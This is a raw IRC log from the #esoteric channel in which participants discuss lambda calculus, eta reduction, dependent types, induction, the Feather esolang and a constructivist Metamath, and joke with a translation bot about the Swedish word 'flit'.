PRIVMSG #esoteric :ais523: it lets you do naming quite nicely < 1268152658 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise_: vaguely reasonable, yes < 1268152659 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :foo := id (\x. ...); < 1268152659 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hi fax < 1268152761 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cwcc := id (\f. r := f <-; <- r) < 1268152766 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric : have a problem < 1268152775 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :that is the same thing as just (\f. f <-) lol :P < 1268152783 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I need to (today and tommorow) solve some problems < 1268152814 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: you'd do IO by making the final continuation not in the lambda calculus of continuations, instead in the host, and returning a lazy stream of church numerals < 1268152815 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but what will probably happen is I just sit on the computer doing nothing < 1268152849 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: akrasia! or, well, the case more commonly known as procrastination < 1268152899 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I need to solve lots of ODEs so that I am able to do it quicky and accurately (REALLY USEFUL SKILL!!) < 1268152933 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :my foot < 1268153206 0 :alise!~d4b78c25@gateway/web/freenode/x-umwfbbnfkppivwsd JOIN :#esoteric < 1268153208 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://us.metamath.org/mmsolitaire/mms.html < 1268153210 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :metamath solitaire < 1268153244 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268153270 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise have you see sokoban in coq? < 1268153280 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :playing the game <=> proving a level has a solution < 1268153282 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that one you wrote? < 1268153287 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I didn't write it < 1268153290 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(i stalked all your blog :P) < 1268153291 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1268153292 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :then no < 1268153318 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :04:39:47 I'm not convinced that (\x. f x) is the same function < 1268153318 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :04:40:04 it certainly isn't in a strict lang if determining the value of f has side effects < 1268153328 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it's not even true in haskell < 1268153337 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :haskell isn't pure though < 1268153339 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cf seq < 1268153351 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and it has the most evil thing of all < 1268153358 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :unsafe < 1268153359 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :RECURSION! < 1268153361 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Perform < 1268153364 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :IO! < 1268153364 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and < 1268153364 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :undefined! < 1268153367 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: *GENERAL recursion < 1268153370 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :seq (\x -> undefined x) is different from seq undefined < 1268153407 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: recursion is not the problem for eta reduction though < 1268153417 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hm? < 1268153435 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :eta reduction : identifying \x -> f x with f < 1268153471 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh right I understand < 1268153471 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it's consistent with pure lambda calculus, which can do recursion using the y combinator < 1268153481 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1268153515 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: i have a real live copy of word 2007 here, let's see who was right about it < 1268153531 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: metacontext? < 1268153543 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :as in, who said what to be right or wrong? < 1268153558 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I said it probably isn't so bad, you said it's horrible < 1268153571 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION needs help
< 1268153586 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :btw there is an evaluation order called superstrict or something, which solves the problem of \x -> f x being f by actually evaluating f inside the lambda :) < 1268153597 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :that's sounds scary < 1268153798 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: I used that (where legal under the as-if principle) in at least one of my Underload interps < 1268153809 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :for optimisation purposes < 1268153813 0 :zeotrope!~zeotrope@bas3-kitchener06-1096649314.dsl.bell.ca JOIN :#esoteric < 1268153815 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, or was it an Underlambda interp? < 1268153862 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :flit < 1268153876 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :flit? < 1268153890 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`define flit < 1268153901 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I know what it normally means, but it doesn't seem to make sense in this context < 1268153902 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :* a sudden quick movement \ * move along rapidly and lightly; skim or dart; "The hummingbird flitted among the branches" \ * a secret move (to avoid paying debts); "they did a moonlight flit" < 1268153940 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I like Word 2007's equation editor < 1268153944 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :;_; < 1268153947 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :clearly the second meaning is intended < 1268153964 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Like flip but less upside-down; like blit but more fly. < 1268153993 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :flit would be a god name for an esolang < 1268154008 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*good < 1268154223 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1268154551 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: constructivist metamath! < 1268154559 0 :tombom!tombom@86.25.49.176 JOIN :#esoteric < 1268154561 0 :tombom!unknown@unknown.invalid QUIT :Changing host < 1268154561 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1268154643 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :?? < 1268154681 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :my proposal is more modest < 1268154683 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: imagine metamath, but constructivist < 1268154693 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it would be sweet < 1268154704 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, do you want to do this? < 1268154709 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and I mean literally do this < 1268154715 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i think i do < 1268154723 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it would certainly be cool. < 1268154747 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I think so too < 1268154757 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :define this though < 1268154952 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :"filt" would be language with no explicit looping, but data being passed between components? < 1268154975 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :flit, not filt :P < 1268154998 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :Ah. < 1268155041 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`define filt < 1268155042 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :* La Federazione italiana lavoratori trasporti � il sindacato dei lavoratori iscritti alla Cgil che operano nel campo dei trasporti e della viabilit�. \ [13]it.wikipedia.org/wiki/Filt \ < 1268155065 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Molto relevante < 1268155367 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :there is also sv:flit < 1268155378 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which I'm not completely sure of how to translate to English < 1268155381 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :`translate < 1268155388 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :var sl_select, tl_select, web_sl_select, web_tl_select;var ctr, web_ctr, h;var tld = ".com";var sug_lab = "Contribute a better translation";var sug_thk = "Thank you for contributing your translation suggestion to Google Translate.";var sug_exp = "Contribute a better translation:";var dhead = "Dictionary";var dmore = "View < 1268155390 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err < 1268155394 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :how does one use it? < 1268155413 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :`translate sv en flit < 1268155415 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :En flit < 1268155418 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err no < 1268155429 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :`translate en flit < 1268155432 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :A prolific < 1268155436 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :no! < 1268155475 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well google translate gives: < 1268155477 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :"noun < 1268155477 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : 1. DILIGENCE < 1268155477 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : 2. INDUSTRY < 1268155477 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : 3. ASSIDUITY < 1268155477 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : 4. APPLICATION" < 1268155486 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the second one seems completely wrong < 1268155492 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the third one I have no clue what it means < 1268155500 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the last one also seems suspect < 1268155538 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oh, I know the concept you mean < 1268155546 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :"industry" has two meanings in English < 1268155550 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh? < 1268155560 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`translate no en flid < 1268155561 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :so all 4 words give much the same meaning < 1268155562 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :no one industry < 1268155570 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, I think I used it wrong < 1268155575 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto no en flid < 1268155577 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :diligence < 1268155585 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: in multiple words, think "tendency to work hard" for the second meaning < 1268155595 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, isn't that the meaning for the first one? < 1268155615 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :hey guyses :D < 1268155621 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, and that would be sv:flitig, flit is as google said a noun < 1268155628 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the more common meaning is a collective noun for all the companies/factories that manufacture things < 1268155638 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, indeed < 1268155650 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and "tendency to work hard" is a noun, as tendencies are nouns < 1268155669 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: yeah i think constructivist metamath would be really awesome < 1268155677 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :especially if the proofs were actually in executable form < 1268155686 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: i think the second one uses a more original meaning of industry < 1268155808 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Heh < 1268155819 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I thought that was some kind of government slogan < 1268155833 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :DILIGENCE! INDUSTRY! ASSIDUITY! APPLICATION! < 1268155835 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :No One Industry, or Tendency To Work Hard? < 1268155840 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh :D < 1268155872 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Adherence to these principles makes our society strong! < 1268155877 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :anyway, I think I know what sv:flit means < 1268155882 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :first word of Swedish I know! < 1268155935 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ais523: from now on, you can choose from a veritable smörgåsbord of them < 1268156043 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: it seems to me that for simple constructivist proofs, a list of the theorems/axioms (given standard proofs/values) you use along with their types is the best way of presenting a proof < 1268156058 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :And will help us solve a large number of ODEs in a short amount of time! < 1268156069 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: wait, what? < 1268156083 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :assuming ODE = ordinary differential equation, that makes no sense < 1268156087 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :unless it's some sort of pun I don't getg < 1268156088 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :*get < 1268156104 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ais523: i think it's a hint to fax < 1268156109 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :along with the type of the resulting composition < 1268156128 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: fax said e had to do a bunch of them a while ago < 1268156135 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1268156152 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :ais523: I was riffing on what fax was saying earlier < 1268156153 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :also, whats with the Agoranese? < 1268156166 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: + nested proofs, perhaps that's tc < 1268156167 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the nose of agora < 1268156397 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Thank you ais523, I am now exactly as confused about feather as I was before. < 1268156408 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: so am I < 1268156415 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :There are fake things in it. I can tell that much. < 1268156421 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Feather is ALL FAKE < 1268156422 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :For some meaning of "fake" < 1268156426 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :actually, that's an implementation technique < 1268156428 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ais523: _clearly_ you need renormalization < 1268156439 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Drat, so even the fake stuff is... fake < 1268156442 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1268156457 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :well, no, because the details of the implementation are relevant to the actual lang < 1268156460 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fake(fake(X)) -> fake(X) < 1268156463 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, I may have to leave again, my head's hurting < 1268156481 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :exists P. Component(Feather,P) & Fake(Fake(X)) < 1268156487 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :-> exists P. Component(Feather,P) & Fake(X) < 1268156495 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So yes, there are fake things in Feather. < 1268156500 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Even if they're not actually in it. < 1268156502 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Q.E.D. < 1268156514 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :OK, so "relevant, but somewhat arbitrary" =/= fake, true < 1268156548 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Fake(Fake(X)) -> Fake(X) is justified because a fake thing is fake. The fact that the thing was already presumed to be fake is irrelevant. < 1268156549 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If a fake fake thing isn't fake, then what? < 1268156568 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :and how is something fake, true? < 1268156569 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :basically, a fakeobject is something that obeys a subset of the restrictions necessary to be considered an object < 1268156579 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Fakeobjects, although fake, are actually real? So they're legitimate objects? No. < 1268156581 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Feather, to me, sounds like a way to fold nondeterminism. For some ill-defined notion of "fold" < 1268156581 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Nothing fake is true, obviously. < 1268156585 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Now go make a logical system where ~~p -> ~p. < 1268156587 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :fakeobject != object < 1268156606 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I must now goify for... 15 minutes? Do that logical system. Nao. < 1268156611 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: that's an interesting analogy; and about as close to the truth as anything else about Feather that I've managed to put into words < 1268156647 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: the poker sense < 1268156792 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :feather is folding nondeterminism because instead of giving a variable its multiple possible values at once, you give it them later on < 1268156799 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so all previous continuations in some way account for this < 1268156804 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :potential nondeterminism < 1268156805 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :bye now < 1268156973 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :bye < 1268157387 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I'm still trying to wrap my head around the plain ol' logical system. Namely, how to state proofs about the properties of the booleans, without invoking boolean logic. < 1268157452 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Like, assume A and B are finite. Then rewriting (and A B) always terminates in one of these normal forms: {true, false}. < 1268157471 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :*finite and boolean expressions. < 1268157491 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :? < 1268157523 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I need to prove that I've implemented "and" correctly! Clearly, such complex functions are not to be trusted without proofs < 1268157532 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1268157548 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :(I'm not serious) < 1268157582 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :But figuring this out might give me insight on how to approach more practical proofs < 1268157619 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, I don't understand.... < 1268157649 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you want to prove that a term with type bool is a boolean? < 1268157694 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :fax: Ah, see there is where I am in different waters from you and alise. My terms don't have types. < 1268157754 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :maybe this is the problem :P < 1268158047 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Lack of types shouldn't be a huge barrier. < 1268158065 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :http://www4.informatik.tu-muenchen.de/~schulz/WORK/e-examples.html < 1268158094 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION thinks if you don't have a type system you will implement it
< 1268158118 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :which leaves the type system you choose to implement, up to you < 1268158123 0 :jcp!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268158128 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh well < 1268158131 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :"type" just means "set of values", anyway. < 1268158199 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I'm having more trouble with variables < 1268158223 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1268158277 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, what about variables? < 1268158732 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :http://dpaste.com/170053/ <-- have cases now, but still need to tackle induction < 1268158768 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :fax: Well, I'm not sure. If I have variables, types look like predicates. If I don't, they look like nondeterministic/ambiguous rewrite rules. < 1268158830 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :It probably works out saner with the variables. But I'm finding it easier to do the other way. < 1268158941 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :The nice thing about this is, if you prove that terms of some form always reduce to some other form, you haven't just proved their type, you've also proved that they're total. < 1268158979 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :really?? < 1268158999 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :if you have a diverging term, can't you just prove it's anything? like a bool or a frog or whatever < 1268159012 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :(by baseless induction) < 1268159046 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Well, if evaluating (and X Y) always results in a bool when X and Y are finite boolean expressions, then you know (and X Y) always results in *something*, therefore (and X Y) is total < 1268159059 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :If you have a diverging term, yes. < 1268159076 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Hard to prove the type of a diverging term... < 1268159080 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :At least in this < 1268159607 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :grr, now i keep reading the word as "boo-lean" < 1268159612 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Boo! < 1268159616 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tilts to the right
< 1268159636 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :frightfullean < 1268159664 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :So, induction. Yeah. Fun stuff, teaching a computer how to do mathematical induction. < 1268159688 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :In MI one of your cases relies on the other. < 1268159694 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Is it fair to call the base case a lemma? < 1268159703 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :of course < 1268159713 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: an example of how better deptypes are < 1268159713 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :induction = recursion < 1268159723 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you prove induction and the function it results in does recursion < 1268159732 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :induction is not recursion :P < 1268159757 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Types are a crutch < 1268159759 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :the elaboration you did is good but "induction = recursion" is nonsense < 1268159817 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Awkward to state it as a lemma because it only proves certain cases < 1268159819 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes i know < 1268159830 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Awkward to have cases depend on previous cases too, though < 1268159840 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, types are not a crutch, types are my wheelchair! I couldn't even move without them! < 1268159861 0 :alise_!~d4b78c25@gateway/web/freenode/x-ocwuwrvlyygkwogj JOIN :#esoteric < 1268159867 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :fax: I was going to say, dependent types are an ambulance :) < 1268159868 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :induction ~ recursion < 1268159869 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :is what i meant < 1268159891 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :now that's vauge enough for me not to be able to attack :P < 1268159924 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: yes, they take suffering programmers and, after a while, where they undergo a change in their entire philosophy due to a near-death experience, they are converted into happy progammers < 1268159928 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*programmers < 1268159949 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :too much dependent types and you'll need an ambulance < 1268159969 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :better dependent than delinquent < 1268159973 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION bans oerjan from life
< 1268159999 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :also it took me a while to realise that (exists (x:T). a) is a dependent tuple... < 1268159999 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :FWIW hardly anyone can actual program with dependent types < 1268160007 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: MY LANGUAGE WILL FIX THAT < 1268160014 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :including alise :p < 1268160022 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I don't think I can do the base case as a lemma in my system. A case isn't complete. So I think I have to go with cases being able to depend on previous cases < 1268160026 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :That's not SO bad, is it? < 1268160038 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: why did you use sum rather than exists for the exists symbol btw? < 1268160063 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :convention < 1268160068 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268160073 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :also 'exists' is a proof thing, Sigma is the data version < 1268160074 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: forall P:Nat->*, P 0 -> (forall n:Nat, P n -> P (succ n)) -> forall n:Nat, P n < 1268160078 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Prop vs Type < 1268160084 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: why not have it polymorphic on both < 1268160086 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268160101 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i guess i'm still seeing proof elimination as an optimisation < 1268160142 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: also is \sum or \sigma more correct? I think \sum since you have \prod for forall < 1268160150 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :although wait, doesn't that mean that \prod is the data version of forall? < 1268160153 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sigma < 1268160157 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :uppercase < 1268160162 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :er right < 1268160168 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so \Pi is functions and \forall is just for profs < 1268160171 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*proofs < 1268160187 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :which I think is taking it too far. which is why I think I disagree with separating \Sigma and \exists < 1268160253 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :feel free to tell me i'm stupid tho :P < 1268160270 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: so \Sigma or \exists? < 1268160280 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :erm < 1268160280 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I mean < 1268160283 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: so \Sigma or \sum? < 1268160294 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :since we also have \Pi or \prod i bet sum < 1268160306 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :as the coincidence is a bit too much to accept < 1268160323 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I don't know what \Sigma or \sum is < 1268160340 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :uh basically \sum is a big \Sigma like you use for sums.. < 1268160344 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :same with Pi vs prod < 1268160345 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :http://dpaste.com/170070/ <-- 